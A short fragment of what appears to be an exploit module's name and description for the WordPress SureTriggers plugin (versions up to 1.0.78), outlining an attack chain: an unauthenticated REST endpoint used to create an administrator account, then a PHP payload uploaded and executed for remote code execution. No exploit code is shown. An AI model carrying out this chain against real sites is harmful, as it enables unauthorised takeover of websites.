'Name' => 'WordPress SureTriggers Auth Bypass and RCE',
'Description' => %q{
This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78).
It first creates a new administrator account via the unauthenticated REST endpoint,
then uploads and executes a PHP payload using FileDropper for remote code execution.
